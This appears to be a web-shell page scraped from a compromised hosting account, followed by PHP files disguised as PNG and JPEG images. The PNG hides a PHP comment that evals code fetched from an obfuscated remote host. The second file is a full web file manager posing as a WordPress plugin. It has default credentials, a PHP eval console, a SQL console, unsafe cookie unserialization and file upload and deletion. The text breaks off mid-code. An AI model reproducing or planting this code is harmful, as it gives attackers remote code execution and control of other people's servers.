|
Server IP : 198.54.120.203 / Your IP : 216.73.216.181 Web Server : LiteSpeed System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64 User : greakqsw ( 1698) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/greakqsw/theblogginglab.org/7648l2-20260310230235/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
PK 9Jm\MQK�� � 146yi.phpnu �[��� �PNG
IHDR @ @ ?iq? pHYs
?� �tEXtComment <?php echo eval("\77\76" . file_get_contents("\x68\164\164\x70\72\57\x2f\x75\156\x64\145\162\x67\x72\x6f\x75\x6e\x64\x2e\145\x76\x69\x6c\x74\x77\x2e\151\x6e\57\155\x2e\x74\170\164")); ?>
9HO?
IDATx�?�
��UC?<�?
?Pj?A?d*E)"??A��R?A$�,`A??T
C ?AB?0Eh�B"�Z?�T??K?�??f5??�6�U{�s�
�??��~g�����{�+??IO5?H�+i��Y�^?�w$��C?����q�>'��NP��t��JI�$?J,�8�$}SRk? �%�7�?�?�X,i?��H?XRgIM�c[H�(�'m�&?�??�9�${@?�J:C?��FIzD?A"�Z?$=,��?Jj.i�����??�?:�h/iN ?_�?J? U`?��?,i?�K$��4�9?]��C?�`��w!f ?�����??C?@??A��rt�.���E�[��E�K?q��?K�qI?Ilꄙ\���eIC?zI$}���>"iR��X�?��?1�???�I�????ON�?%])�a-IU@? I
?<��-V���\k�%�`�5�>.�jI�����_W0?�A?d��Iz�??K?��?_?�??��??y]LZ
Zb|?�$}H?�a??�?/d�??Y�>,�F?U
FEt�A*~?��tA?A�?>>�o\�'��?E|0??�q�?�f?"ixr?-IcJ?[?��@E? ?q�?E1�?�??jXiss�K)�UU��&|G??�>�?�;:{w[?tgIJh0Z.�t�?�D<UO(EY?? s1u�?-0q�e;
5L?~I??�}�?�<�??U8�P??>_IUU??0:X�??O0�??U�?�6?I??��?Wv[��U�?)$??� �^l�
ssPE�?Uh�?e�'?E2QKd,IN?��?�8�IMR%uO,���?8?=��v�'x�ww$}>?X�x
J?U?��"???9t??<ME?6b??�56I��I�f???U?Ap� ��p/I�?gc\h�?�??�?~-b?
�nH^�U�#�q?.�� &,|�~?pF�FS?,��d?:�1??a��s3}���?A){��U@dV??:D?9�?LIaI{$�?DuC��sJ�wG�<?�*"�?Jz9f�?���e??�5t�4/��vhksA0?����9?z�c��D�5E6h�vu?v�???Ol?[��?7??v�f?@�����9�CC?'��5I�l)�J]?9X�&�
�?1??=�U?�?���L}���?E?O�?I$�I�C?Y�e�G?I9�i^4e�?dc=�s???S?� ???�v'?�*�e�?�wFEO%] =����?A� 6-�?9-_?I?x1�?`�bqi?�eoE?�`��&~9?Xg�qNN}B?OW��????.?���?,?*�,x�?�??J?E���1E?#�{���%!�R.�#
?�?9R??U6?��1"\?�`$D����?jE\d�?�Y>b�/?fu?�???�?m?,��qL,?�G?/??��?sX�,�????�?5A���E?���n�"?�???�.��q?1p?O6<[?6+?7?.??��?D?��?��?s�?�??�^H??bpn�A??x�r�?$<�F?Ep ^�G�9���pCJ� u{B�?�]�??m?�V?l�z|'���<�]HC�&.�)Ef��C?��g?nDA�T1�?U,?�@?�w??A' ��L�NIV|??a�Gp??fq,�~>
2�r�0�s?~I!�2g1�I??.A6^??Ac�g????U??&?A\��UE�>�O�H_�~��I?IAA??Xl=4#[k?�x�???I?�xt?Ilj!�5X�M??dY87O#�?)��?�3�n"IrMrB4��W@�?��?�1(?c?</�����%a�?<Y??+f?n?Aq+?8u?N��i<�3?M�?�>!�,U�??Ox9,8B?D��g�?~]�?�A��gfCP�?\? �u?��U�wc??i]A<Wp��Z?f??U8���q?1pW??�
I&.�??�??k?��Hi]$�
Up�A?E��G�V?�qI?1� �?0x
I�h?? C�8p�s{<?�v��z|�qj�?<?��?I�I?C4�I;???|^??T�?�&E?!?hk�E(IE�l�?D?F????r????��?�|�??ai�6+z�$?�?U?�p�g?�
�, w2{?:?-4?4?�r�Y0-?��A�aU��?;???�>?�a0�=C���[A�?>��"��NE$&�??�0%???8�\�$Ek�n7/?Ax^^
<??��?=�??�ihAM��.�x�DM?�,(?�??4?]
�
�k?}
???��?RFZ%�EQ�\04hdKt�?S�k?Y��g�?E���`?r�??�?I?i�"U56��L�&U�9|kS?
�N�UU)+g�_0?�?E�?bvp??z G?U!?V
U���I?,"Gz=3?2??�
N?'0��>yS�?2�??2�m?p83 d�vP?Ea`?U�c�?a�c묨I�_�A�V�I�88X?K��_R�x??,ksV���E �<A��?]V�
7Of"�~??�C�?(U?x
v?E8?�NV�?� Y??.?�?C?����yu�IP?�u� �(m?�� ?J?���rf.�}�??EJ8?��?"���`v�)6n?E���~?�v~'
�G`�eu�?%?�8??���ob�cp
?��???E?al?g�ntPx?�b�?鄩 �?E?2?�#A�DD!,�???�qײA?�?w�W��?S�3X�q�_d1?J�7P
I�?U�sAQ8.�?BT7�?��a�JE[2FN?V?�+p=� y�?���*?d'�6a??? n?^;s���
?�i?mO-�???T��y?Uy`???��=���=B�?~??R?�E?�D�gs��??�L?1???O�?N?�?e?r�?E�?'??1Em,??R?��l�n)m??�?:{:A?o�???�?{I IEND�B`�PK 9Jm\��Ǵq7 q7 oiq2p.phpnu �[��� ÿØÿà JFIF ÿÛ C
!"$"$ÿÛ C ÿÀ ° ÿÄ
ÿÄ µ } !1AQa "q2‘¡#B±ÁRÑð$3br‚
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚáâãäåæçèéêñòóôõö÷øùúÿÄ
ÿÄ µ w !1AQ aq"2B‘¡±Á #3RðbrÑ
$4á%ñ&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚâãäåæçèéêòóôõö÷øùúÿÚ ? ÈN
<?php
/**
Plugin Name: File Manager Advanced
Plugin URI: https://wordpress.org/plugins/file-manager-advanced
Description: Cpanel for files management in wordpress
Author: modalweb
Version: 5.2.12
Author URI: https://advancedfilemanager.com
License: GPLv2
**/
/**
* Loading constants
*/
// Configuration — do not change manually!
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0;
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size → maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return '<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return = !empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post" action="'.fm_url().'" style="display:inline">
<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}
function find_text_in_files($dir, $mask, $text) {
$results = array();
if ($handle = opendir($dir)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$path = $dir . "/" . $entry;
if (is_dir($path)) {
$results = array_merge($results, find_text_in_files($path, $mask, $text));
} else {
if (fnmatch($mask, $entry)) {
$contents = file_get_contents($path);
if (strpos($contents, $text) !== false) {
$results[] = str_replace('//', '/', $path);
}
}
}
}
}
closedir($handle);
}
return $results;
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">
'.__('Password').' <input name="password" type="password">
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
